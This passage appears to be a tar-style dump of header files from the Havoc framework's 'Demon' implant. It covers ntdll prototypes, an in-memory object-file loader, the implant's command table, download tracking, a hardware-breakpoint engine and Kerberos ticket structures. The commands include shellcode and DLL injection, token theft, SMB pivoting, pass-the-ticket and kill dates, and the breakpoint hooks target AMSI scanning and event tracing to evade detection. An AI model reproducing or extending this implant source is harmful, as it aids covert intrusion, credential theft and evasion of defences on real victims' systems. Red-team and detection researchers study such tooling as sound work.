NTSTATUS NTAPI ZwWow64DebuggerCall ( IN ULONG ServiceClass, IN ULONG Arg1, IN ULONG Arg2 ); NTSTATUS NTAPI RtlCleanUpTEBLangLists( void ); VOID KiUserApcDispatcher ( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2, PKNORMAL_ROUTINE NormalRoutine ); VOID KiUserExceptionDispatcher ( PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextFrame ); NTSTATUS NTAPI NtCreateDebugObject( OUT PHANDLE DebugObjectHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI NtDebugActiveProcess( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle ); NTSTATUS NTAPI NtDebugContinue( IN HANDLE DebugObjectHandle, IN PCLIENT_ID ClientId, IN NTSTATUS ContinueStatus ); NTSTATUS NTAPI NtRemoveProcessDebug( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle ); NTSTATUS NTAPI NtSetInformationDebugObject( IN HANDLE DebugObjectHandle, IN DEBUGOBJECTINFOCLASS DebugObjectInformationClass, IN PVOID DebugInformation, IN ULONG DebugInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtWaitForDebugEvent( IN HANDLE DebugObjectHandle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout, OUT PVOID WaitStateChange ); // Debugging UI NTSTATUS NTAPI DbgUiConnectToDbg( VOID ); HANDLE NTAPI DbgUiGetThreadDebugObject( VOID ); VOID NTAPI DbgUiSetThreadDebugObject( IN HANDLE DebugObject ); NTSTATUS NTAPI DbgUiWaitStateChange( OUT PDBGUI_WAIT_STATE_CHANGE StateChange, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI DbgUiContinue( IN PCLIENT_ID AppClientId, IN NTSTATUS ContinueStatus ); NTSTATUS NTAPI DbgUiStopDebugging( IN HANDLE Process ); NTSTATUS NTAPI DbgUiDebugActiveProcess( IN HANDLE Process ); VOID NTAPI DbgUiRemoteBreakin( IN PVOID Context ); NTSTATUS NTAPI DbgUiIssueRemoteBreakin( IN HANDLE Process ); VOID NTAPI RtlExitUserProcess( IN NTSTATUS ExitStatus ); NTSTATUS NTAPI RtlQueueWorkItem( IN WORKERCALLBACKFUNC CallbackFunction, IN OPTIONAL PVOID Context, IN ULONG Flags ); NTSTATUS NTAPI RtlCreateUserStack( SIZE_T CommittedStackSize, SIZE_T MaximumStackSize, SIZE_T ZeroBits, ULONG PageSize, ULONG ReserveAlignment, PINITIAL_TEB InitialTeb ); LRESULT NTAPI NtdllDefWindowProc_W( ); LRESULT NTAPI NtdllDefWindowProc_A( ); NTSTATUS NTAPI LdrQueryProcessModuleInformation( PRTL_PROCESS_MODULES ModuleInformation, ULONG ModuleInformationLength, PULONG ReturnLength ); NTSYSAPI ULONG NTAPI RtlRandomEx( PULONG Seed ); NTSYSAPI BOOL NTAPI ImpersonateLoggedOnUser( IN HANDLE hToken ); NTSYSAPI BOOL NTAPI DuplicateHandle( IN HANDLE hSourceProcessHandle, IN HANDLE hSourceHandle, IN HANDLE hTargetProcessHandle, OUT LPHANDLE lpTargetHandle, IN DWORD dwDesiredAccess, IN BOOL bInheritHandle, IN DWORD dwOptions ); BOOL WINAPI AttachConsole( IN DWORD dwProcessId ); HANDLE WINAPI GetStdHandle( IN DWORD nStdHandle ); /* BOOL WINAPI WriteConsoleA( IN HANDLE hConsoleOutput, IN VOID *lpBuffer, IN DWORD nNumberOfCharsToWrite, OUT LPDWORD lpNumberOfCharsWritten, IN LPVOID lpReserved ); */ typedef struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; char *ai_canonname; struct sockaddr *ai_addr; struct addrinfo *ai_next; } ADDRINFOA, *PADDRINFOA; INT WSAAPI getaddrinfo( IN OPTIONAL PCSTR pNodeName, IN OPTIONAL PCSTR pServiceName, IN OPTIONAL const ADDRINFOA *pHints, OUT PADDRINFOA *ppResult ); VOID WSAAPI freeaddrinfo( IN PADDRINFOA pAddrInfo ); // // end non-crt prototypes // // // nt crt // //please do not change swprintf stuff otherwise win32 mode is always trashed #if !defined(_NO_NTDLL_CRT_) //readded 4 jan 2012 //win64 mode does not need this //for using this routines ntdllp.lib is required #if !defined(_M_X64) IMPORT_FN size_t __cdecl wcslen(const wchar_t *); IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); #endif //_M_X64 #endif // _NO_NTDLL_CRT_ #ifdef __cplusplus } #endif #endif /* _NTDLL_ */ havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/000077500000000000000000000000001467014221700225205ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/CoffeeLdr.h000066400000000000000000000064351467014221700245320ustar00rootroot00000000000000// // Created by spider on 18.03.21. // #ifndef DEMON_DOF_H #define DEMON_DOF_H #define SIZE_OF_PAGE 4096 #define PAGE_ALLIGN( x ) ( PVOID )( U_PTR( x ) + ( ( SIZE_OF_PAGE - ( U_PTR( x ) & ( SIZE_OF_PAGE - 1 ) ) ) % SIZE_OF_PAGE ) ) #define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 #define IMAGE_SCN_MEM_EXECUTE 0x20000000 #define IMAGE_SCN_MEM_READ 0x40000000 #define IMAGE_SCN_MEM_WRITE 0x80000000 // https://courses.cs.washington.edu/courses/cse378/03wi/lectures/LinkerFiles/coff.pdf #define SYMBOL_IS_A_FUNCTION 0x20 typedef struct _COFFEE_PARAMS { PCHAR EntryName; DWORD EntryNameSize; PVOID CoffeeData; SIZE_T CoffeeDataSize; PVOID ArgData; SIZE_T ArgSize; UINT32 RequestID; } COFFEE_PARAMS, *PCOFFEE_PARAMS; typedef struct _COFF_FILE_HEADER { UINT16 Machine; UINT16 NumberOfSections; UINT32 TimeDateStamp; UINT32 PointerToSymbolTable; UINT32 NumberOfSymbols; UINT16 SizeOfOptionalHeader; UINT16 Characteristics; } COFF_FILE_HEADER, *PCOFF_FILE_HEADER; /* AMD64 should always be here */ #define MACHINETYPE_AMD64 0x8664 #pragma pack(push,1) typedef struct _COFF_SECTION { CHAR Name[ 8 ]; UINT32 VirtualSize; UINT32 VirtualAddress; UINT32 SizeOfRawData; UINT32 PointerToRawData; UINT32 PointerToRelocations; UINT32 PointerToLineNumbers; UINT16 NumberOfRelocations; UINT16 NumberOfLinenumbers; UINT32 Characteristics; } COFF_SECTION, *PCOFF_SECTION; typedef struct _COFF_RELOC { UINT32 VirtualAddress; UINT32 SymbolTableIndex; UINT16 Type; } COFF_RELOC, *PCOFF_RELOC; typedef struct _COFF_SYMBOL { union { CHAR Name[ 8 ]; UINT32 Value[ 2 ]; } First; UINT32 Value; UINT16 SectionNumber; UINT16 Type; UINT8 StorageClass; UINT8 NumberOfAuxSymbols; } COFF_SYMBOL, *PCOFF_SYMBOL; typedef struct _SECTION_MAP { PCHAR Ptr; SIZE_T Size; } SECTION_MAP, *PSECTION_MAP; typedef struct _COFFEE { PVOID Data; PCOFF_FILE_HEADER Header; PCOFF_SECTION Section; PCOFF_RELOC Reloc; PCOFF_SYMBOL Symbol; PVOID ImageBase; SIZE_T BofSize; UINT32 RequestID; PSECTION_MAP SecMap; PCHAR FunMap; SIZE_T FunMapSize; struct _COFFEE* Next; } COFFEE, *PCOFFEE; #define COFFEE_KEY_VALUE_MAX_KEY 512 typedef struct _COFFEE_KEY_VALUE { CHAR Key[COFFEE_KEY_VALUE_MAX_KEY]; PVOID Value; struct _COFFEE_KEY_VALUE* Next; } COFFEE_KEY_VALUE, *PCOFFEE_KEY_VALUE; /*! * CoffeeLdr * Simply executes an object file in the current thread (blocking) * @param EntryName * @param CoffeeData * @param ArgData * @param ArgSize * @param RequestID * @return */ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ); /*! * CoffeeRunner * Creates a separate thread for executing an object file with its own output buffer. * Send back the status and output of the object file output buffer * @param EntryName * @param CoffeeData * @param ArgData * @param ArgSize * @param RequestID * @return */ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Command.h000066400000000000000000000151321467014221700242510ustar00rootroot00000000000000#ifndef DEMON_COMMAND_H #define DEMON_COMMAND_H #include /* Commands */ #define DEMON_COMMAND_CHECKIN 100 #define DEMON_COMMAND_GET_JOB 1 #define DEMON_COMMAND_NO_JOB 10 #define DEMON_COMMAND_SLEEP 11 #define DEMON_COMMAND_PROC 0x1010 #define DEMON_COMMAND_PROC_LIST 12 #define DEMON_COMMAND_FS 15 #define DEMON_COMMAND_INLINE_EXECUTE 20 #define DEMON_COMMAND_JOB 21 #define DEMON_COMMAND_INJECT_DLL 22 #define DEMON_COMMAND_INJECT_SHELLCODE 24 #define DEMON_COMMAND_SPAWN_DLL 26 #define DEMON_COMMAND_TOKEN 40 #define DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE 0x2001 #define DEMON_COMMAND_ASSEMBLY_VERSIONS 0x2003 #define DEMON_COMMAND_NET 2100 #define DEMON_COMMAND_CONFIG 2500 #define DEMON_COMMAND_SCREENSHOT 2510 #define DEMON_COMMAND_PIVOT 2520 #define DEMON_COMMAND_TRANSFER 2530 #define DEMON_COMMAND_SOCKET 2540 #define DEMON_COMMAND_KERBEROS 2550 #define DEMON_COMMAND_MEM_FILE 2560 #define DEMON_PACKAGE_DROPPED 2570 #define DEMON_INFO 89 #define DEMON_OUTPUT 90 #define DEMON_ERROR 91 #define DEMON_EXIT 92 #define DEMON_KILL_DATE 93 #define BEACON_OUTPUT 94 #define DEMON_INITIALIZE 99 #define DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION 1 #define DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND 2 #define DEMON_COMMAND_INLINE_EXECUTE_RAN_OK 3 #define DEMON_COMMAND_INLINE_EXECUTE_COULD_NO_RUN 4 #define DOTNET_INFO_PATCHED 0x1 #define DOTNET_INFO_NET_VERSION 0x2 #define DOTNET_INFO_ENTRYPOINT_EXECUTED 0x3 #define DOTNET_INFO_FINISHED 0x4 #define DOTNET_INFO_FAILED 0x5 #define CALLBACK_ERROR_WIN32 0x1 #define CALLBACK_ERROR_COFFEXEC 0x2 #define CALLBACK_ERROR_TOKEN 0x3 // Config options #define DEMON_CONFIG_SHOW_ALL 0 #define DEMON_CONFIG_IMPLANT_SLEEPMASK 1 #define DEMON_CONFIG_IMPLANT_SPFTHREADADDR 3 #define DEMON_CONFIG_IMPLANT_VERBOSE 4 #define DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE 5 #define DEMON_CONFIG_IMPLANT_COFFEE_THREADED 6 #define DEMON_CONFIG_IMPLANT_COFFEE_VEH 7 #define DEMON_CONFIG_MEMORY_ALLOC 101 #define DEMON_CONFIG_MEMORY_EXECUTE 102 #define DEMON_CONFIG_INJECTION_TECHNIQUE 150 #define DEMON_CONFIG_INJECTION_SPOOFADDR 151 #define DEMON_CONFIG_INJECTION_SPAWN64 152 #define DEMON_CONFIG_INJECTION_SPAWN32 153 #define DEMON_CONFIG_KILLDATE 154 #define DEMON_CONFIG_WORKINGHOURS 155 #define DEMON_NET_COMMAND_DOMAIN 1 #define DEMON_NET_COMMAND_LOGONS 2 #define DEMON_NET_COMMAND_SESSIONS 3 #define DEMON_NET_COMMAND_COMPUTER 4 #define DEMON_NET_COMMAND_DCLIST 5 #define DEMON_NET_COMMAND_SHARE 6 #define DEMON_NET_COMMAND_LOCALGROUP 7 #define DEMON_NET_COMMAND_GROUP 8 #define DEMON_NET_COMMAND_USER 9 #define DEMON_PIVOT_LIST 1 #define DEMON_PIVOT_SMB_CONNECT 10 #define DEMON_PIVOT_SMB_DISCONNECT 11 #define DEMON_PIVOT_SMB_COMMAND 12 #define DEMON_INFO_MEM_ALLOC 10 #define DEMON_INFO_MEM_EXEC 11 #define DEMON_INFO_MEM_PROTECT 12 #define DEMON_INFO_PROC_CREATE 21 #define DEMON_CHECKIN_OPTION_PIVOTS 1 #define DEMON_COMMAND_JOB_LIST 1 #define DEMON_COMMAND_JOB_SUSPEND 2 #define DEMON_COMMAND_JOB_RESUME 3 #define DEMON_COMMAND_JOB_KILL_REMOVE 4 #define DEMON_COMMAND_JOB_DIED 5 #define DEMON_COMMAND_TRANSFER_LIST 0 #define DEMON_COMMAND_TRANSFER_STOP 1 #define DEMON_COMMAND_TRANSFER_RESUME 2 #define DEMON_COMMAND_TRANSFER_REMOVE 3 #define DEMON_COMMAND_PROC_MODULES 2 #define DEMON_COMMAND_PROC_GREP 3 #define DEMON_COMMAND_PROC_CREATE 4 #define DEMON_COMMAND_PROC_MEMORY 6 #define DEMON_COMMAND_PROC_KILL 7 #define DEMON_COMMAND_TOKEN_IMPERSONATE 1 #define DEMON_COMMAND_TOKEN_STEAL 2 #define DEMON_COMMAND_TOKEN_LIST 3 #define DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST 4 #define DEMON_COMMAND_TOKEN_MAKE 5 #define DEMON_COMMAND_TOKEN_GET_UID 6 #define DEMON_COMMAND_TOKEN_REVERT 7 #define DEMON_COMMAND_TOKEN_REMOVE 8 #define DEMON_COMMAND_TOKEN_CLEAR 9 #define DEMON_COMMAND_TOKEN_FIND_TOKENS 10 #define DEMON_COMMAND_FS_DIR 1 #define DEMON_COMMAND_FS_DOWNLOAD 2 #define DEMON_COMMAND_FS_UPLOAD 3 #define DEMON_COMMAND_FS_CD 4 #define DEMON_COMMAND_FS_REMOVE 5 #define DEMON_COMMAND_FS_MKDIR 6 #define DEMON_COMMAND_FS_COPY 7 #define DEMON_COMMAND_FS_MOVE 8 #define DEMON_COMMAND_FS_GET_PWD 9 #define DEMON_COMMAND_FS_CAT 10 typedef struct { INT ID; VOID ( *Function ) ( PPARSER Arguments ); } DEMON_COMMAND ; BOOL InWorkingHours( ); BOOL ReachedKillDate( ); VOID KillDate( ); /* dispatcher */ VOID CommandDispatcher( VOID ); /* commands */ VOID CommandCheckin( IN PPARSER Parser ); VOID CommandSleep( IN PPARSER DataArgs ); VOID CommandExit( IN PPARSER DataArgs ); VOID CommandJob( IN PPARSER DataArgs ); VOID CommandProc( IN PPARSER DataArgs ); VOID CommandProcList( IN PPARSER DataArgs ); VOID CommandFS( IN PPARSER DataArgs ); VOID CommandInjectDLL( IN PPARSER DataArgs ); VOID CommandInjectShellcode( IN PPARSER DataArgs ); VOID CommandSpawnDLL( IN PPARSER DataArgs ); VOID CommandInlineExecute( IN PPARSER DataArgs ); VOID CommandAssemblyInlineExecute( IN PPARSER DataArgs ); VOID CommandAssemblyListVersion( IN PPARSER Parser ); VOID CommandScreenshot( IN PPARSER Parser ); VOID CommandConfig( IN PPARSER Parser ); VOID CommandNet( IN PPARSER Parser ); VOID CommandToken( IN PPARSER Parser ); VOID CommandPivot( IN PPARSER Parser ); VOID CommandTransfer( IN PPARSER Parser ); VOID CommandSocket( IN PPARSER Parser ); VOID CommandKerberos( IN PPARSER Parser ); VOID CommandMemFile( IN PPARSER Parser ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Dotnet.h000066400000000000000000000001701467014221700241240ustar00rootroot00000000000000#include BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ); VOID DotnetClose(); VOID DotnetPush();havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Download.h000066400000000000000000000042571467014221700244500ustar00rootroot00000000000000#ifndef DEMON_FILETRANFER_H #define DEMON_FILETRANFER_H #include #define DOWNLOAD_MODE_OPEN 0x0 #define DOWNLOAD_MODE_WRITE 0x1 #define DOWNLOAD_MODE_CLOSE 0x2 #define DOWNLOAD_REASON_FINISHED 0x0 #define DOWNLOAD_REASON_REMOVED 0x1 #define DOWNLOAD_STATE_RUNNING 0x1 #define DOWNLOAD_STATE_STOPPED 0x2 #define DOWNLOAD_STATE_REMOVE 0x3 typedef enum { Running, Stopped, Remove, } DownloadState; typedef struct _DOWNLOAD_DATA { /* Some random ID so both teamserver and agent knows what file it is */ DWORD FileID; /* file handle opened/created using CreateFile */ HANDLE hFile; /* The random task id associated with the requested download*/ UINT32 RequestID; /* What we have left to read. */ LONGLONG Size; /* What we already read. */ LONGLONG ReadSize; /* Current state of file transfer */ DownloadState State; /* Next file in linked list */ struct _DOWNLOAD_DATA* Next; } DOWNLOAD_DATA, *PDOWNLOAD_DATA; /* This can be a BOF, a .NET binary or a generic file */ typedef struct _MEM_FILE { /* Some random ID so both teamserver and agent knows what MemFile it is */ ULONG32 ID; /* Size of the MemFile. */ SIZE_T Size; /* What we already read. */ SIZE_T ReadSize; /* Pointer to file contents */ PVOID Data; /* Has the entire file been received? */ BOOL IsCompleted; /* Next file in linked list */ struct _MEM_FILE* Next; } MEM_FILE, *PMEM_FILE; /* Add file to linked list with type (upload/download) */ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ); /* Get download data from linked list */ PDOWNLOAD_DATA DownloadGet( DWORD FileID ); BOOL DownloadRemove( DWORD FileID ); /* send file chunks to team server */ VOID DownloadPush(); BOOL MemFileIsNew( ULONG32 ID ); PMEM_FILE GetMemFile( ULONG32 ID ); PMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); BOOL RemoveMemFile( ULONG32 ID ); /* Add a DataBlock to linked list */ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); PMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/HwBpEngine.h000066400000000000000000000017161467014221700246640ustar00rootroot00000000000000#ifndef DEMON_HWBPENGINE_H #define DEMON_HWBPENGINE_H #include #include typedef struct _BP_LIST { DWORD Tid; PVOID Address; PVOID Function; BYTE Position; /* next in the list */ struct _BP_LIST* Next; } BP_LIST, *PBP_LIST; typedef struct _HWBP_ENGINE { /* Veh (Vectored Exception Handling) handle */ HANDLE Veh; /* first time adding hw bp. need to prepare register */ BYTE First; /* list of breakpoints */ PBP_LIST Breakpoints; } HWBP_ENGINE, *PHWBP_ENGINE; NTSTATUS HwBpEngineInit( OUT PHWBP_ENGINE Engine, IN PVOID Exception ); NTSTATUS HwBpEngineAdd( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address, IN PVOID Function, IN BYTE Position ); NTSTATUS HwBpEngineRemove( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address ); NTSTATUS HwBpEngineDestroy( IN PHWBP_ENGINE Engine ); #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/HwBpExceptions.h000066400000000000000000000063141467014221700255770ustar00rootroot00000000000000#ifndef DEMON_HWBPEXCEPTIONS_H #define DEMON_HWBPEXCEPTIONS_H #include #if defined( __x86_64__ ) || defined( _M_X64 ) #define EXCEPTION_DUMP( e ) \ PRINTF( \ "Exception: \n" \ " - Rip: %p \n" \ " - Rax: %p \n" \ " - Arg1: %p \n" \ " - Arg2: %p \n" \ " - Arg3: %p \n" \ " - Arg4: %p \n" \ " - Arg5: %p \n" \ " - Arg6: %p \n", \ e->ContextRecord->Rip, \ e->ContextRecord->Rax, \ e->ContextRecord->Rcx, \ e->ContextRecord->Rdx, \ e->ContextRecord->R8, \ e->ContextRecord->R9, \ *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 ), \ *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 ) \ ) #define EXCEPTION_SET_RIP( e, p ) e->ContextRecord->Rip = p #define EXCEPTION_SET_RET( e, r ) e->ContextRecord->Rax = r #define EXCEPTION_RESUME( e ) e->ContextRecord->EFlags = ( 1 << 16 ) #define EXCEPTION_GET_RET( e ) *( PVOID* ) ( e->ContextRecord->Rsp ) #define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i #define EXCEPTION_ARG_1( e ) ( e->ContextRecord->Rcx ) #define EXCEPTION_ARG_2( e ) ( e->ContextRecord->Rdx ) #define EXCEPTION_ARG_3( e ) ( e->ContextRecord->R8 ) #define EXCEPTION_ARG_4( e ) ( e->ContextRecord->R9 ) #define EXCEPTION_ARG_5( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 ) #define EXCEPTION_ARG_6( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 ) #define EXCEPTION_ARG_7( e ) *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 7 ) #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86) #define EXCEPTION_ARG_1( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 1 ) #define EXCEPTION_ARG_2( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 2 ) #define EXCEPTION_ARG_3( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 3 ) #define EXCEPTION_ARG_4( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 4 ) #define EXCEPTION_ARG_5( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 5 ) #define EXCEPTION_ARG_6( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 6 ) #define EXCEPTION_ARG_7( e ) *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 7 ) #endif VOID HwBpExAmsiScanBuffer( _Inout_ PEXCEPTION_POINTERS Exception ); VOID HwBpExNtTraceEvent( _Inout_ PEXCEPTION_POINTERS Exception ); #endif //DEMON_HWBPEXCEPTIONS_H havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Jobs.h000066400000000000000000000024321467014221700235670ustar00rootroot00000000000000#ifndef DEMON_JOBS_HPP #define DEMON_JOBS_HPP #include #define JOB_TYPE_THREAD 0x1 #define JOB_TYPE_PROCESS 0x2 #define JOB_TYPE_TRACK_PROCESS 0x3 #define JOB_STATE_RUNNING 0x1 #define JOB_STATE_SUSPENDED 0x2 #define JOB_STATE_DEAD 0x3 typedef struct _JOB_DATA { UINT32 RequestID; DWORD JobID; SHORT Type; SHORT State; HANDLE Handle; PVOID Data; struct _JOB_DATA* Next; } JOB_DATA, *PJOB_DATA; /*! * JobAdd * Adds a job to the job linked list * @param JobID * @param Type * @param State * @param Data * @return */ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data ); /*! * Check if all jobs are still running and exists * @return */ VOID JobCheckList(); /*! * JobSuspend * Suspends the specified job * @param ThreadID * @return */ BOOL JobSuspend( DWORD JobID ); /*! * JobSuspend * Suspends the specified job * @param ThreadID * @return */ BOOL JobResume( DWORD JobID ); /*! * JobKill * Kills the specified job * @param ThreadID * @return */ BOOL JobKill( DWORD JobID ); /*! * JobRemove * Remove the specified job * @param ThreadID * @return */ VOID JobRemove( DWORD JobID ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Kerberos.h000066400000000000000000000142441467014221700244520ustar00rootroot00000000000000 #ifndef DEMON_KERBEROS_H #define DEMON_KERBEROS_H //#include #define KERBEROS_COMMAND_LUID 0x0 #define KERBEROS_COMMAND_KLIST 0x1 #define KERBEROS_COMMAND_PURGE 0x2 #define KERBEROS_COMMAND_PTT 0x3 #define _KerbSubmitTicketMessage 21 #define KERB_USE_DEFAULT_TICKET_FLAGS 0x0 #define KERB_RETRIEVE_TICKET_DEFAULT 0x0 #define KERB_RETRIEVE_TICKET_DONT_USE_CACHE 0x1 #define KERB_RETRIEVE_TICKET_USE_CACHE_ONLY 0x2 #define KERB_RETRIEVE_TICKET_USE_CREDHANDLE 0x4 #define KERB_RETRIEVE_TICKET_AS_KERB_CRED 0x8 #define KERB_RETRIEVE_TICKET_WITH_SEC_CRED 0x10 #define KERB_RETRIEVE_TICKET_CACHE_TICKET 0x20 #define FIELD_LENGTH 512 typedef struct _TICKET_INFORMATION { WCHAR ClientName[FIELD_LENGTH]; WCHAR ClientRealm[FIELD_LENGTH]; WCHAR ServerName[FIELD_LENGTH]; WCHAR ServerRealm[FIELD_LENGTH]; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags; BUFFER Ticket; struct _TICKET_INFORMATION* Next; } TICKET_INFORMATION,*PTICKET_INFORMATION; typedef struct _SESSION_INFORMATION { WCHAR UserName[FIELD_LENGTH]; WCHAR Domain[FIELD_LENGTH]; LUID LogonId; ULONG Session; WCHAR UserSID[FIELD_LENGTH]; LARGE_INTEGER LogonTime; ULONG LogonType; WCHAR AuthenticationPackage[FIELD_LENGTH]; WCHAR LogonServer[FIELD_LENGTH]; WCHAR LogonServerDNSDomain[FIELD_LENGTH]; WCHAR Upn[FIELD_LENGTH]; PTICKET_INFORMATION Tickets; struct _SESSION_INFORMATION* Next; } SESSION_INFORMATION,*PSESSION_INFORMATION; typedef enum _KERB_PROTOCOL_MESSAGE_TYPE { KerbDebugRequestMessage = 0, KerbQueryTicketCacheMessage, KerbChangeMachinePasswordMessage, KerbVerifyPacMessage, KerbRetrieveTicketMessage, KerbUpdateAddressesMessage, KerbPurgeTicketCacheMessage, KerbChangePasswordMessage, KerbRetrieveEncodedTicketMessage, KerbDecryptDataMessage, KerbAddBindingCacheEntryMessage, KerbSetPasswordMessage, KerbSetPasswordExMessage, KerbAddExtraCredentialsMessage = 17, KerbQueryTicketCacheExMessage, KerbPurgeTicketCacheExMessage, KerbRefreshSmartcardCredentialsMessage, //KerbAddExtraCredentialsMessage = 17, KerbQuerySupplementalCredentialsMessage, KerbTransferCredentialsMessage, KerbQueryTicketCacheEx2Message, KerbSubmitTicketMessage, KerbAddExtraCredentialsExMessage, KerbQueryKdcProxyCacheMessage, KerbPurgeKdcProxyCacheMessage, KerbQueryTicketCacheEx3Message, KerbCleanupMachinePkinitCredsMessage, KerbAddBindingCacheEntryExMessage, KerbQueryBindingCacheMessage, KerbPurgeBindingCacheMessage, KerbPinKdcMessage, KerbUnpinAllKdcsMessage, KerbQueryDomainExtendedPoliciesMessage, KerbQueryS4U2ProxyCacheMessage, KerbRetrieveKeyTabMessage, KerbRefreshPolicyMessage, KerbPrintCloudKerberosDebugMessage } KERB_PROTOCOL_MESSAGE_TYPE, *PKERB_PROTOCOL_MESSAGE_TYPE; typedef struct KERB_CRYPTO_KEY { LONG KeyType; ULONG Length; PUCHAR Value; } KERB_CRYPTO_KEY, *PKERB_CRYPTO_KEY; typedef struct KERB_CRYPTO_KEY32 { LONG KeyType; ULONG Length; ULONG Offset; } KERB_CRYPTO_KEY32, *PKERB_CRYPTO_KEY32; typedef struct _KERB_SUBMIT_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; ULONG Flags; KERB_CRYPTO_KEY32 Key; ULONG KerbCredSize; ULONG KerbCredOffset; } KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST; typedef struct _KERB_PURGE_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING ServerName; UNICODE_STRING RealmName; } KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST; typedef struct _KERB_TICKET_CACHE_INFO_EX { UNICODE_STRING ClientName; UNICODE_STRING ClientRealm; UNICODE_STRING ServerName; UNICODE_STRING ServerRealm; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags; } KERB_TICKET_CACHE_INFO_EX,*PKERB_TICKET_CACHE_INFO_EX; typedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE { KERB_PROTOCOL_MESSAGE_TYPE MessageType; ULONG CountOfTickets; KERB_TICKET_CACHE_INFO_EX Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_EX_RESPONSE,*PKERB_QUERY_TKT_CACHE_EX_RESPONSE; #ifndef __SECHANDLE_DEFINED__ typedef struct _SecHandle { ULONG_PTR dwLower; ULONG_PTR dwUpper; } SecHandle,*PSecHandle; #define __SECHANDLE_DEFINED__ #endif typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; ULONG TicketFlags; ULONG CacheOptions; LONG EncryptionType; SecHandle CredentialsHandle; } KERB_RETRIEVE_TKT_REQUEST,*PKERB_RETRIEVE_TKT_REQUEST; typedef struct _KERB_EXTERNAL_NAME { SHORT NameType; USHORT NameCount; 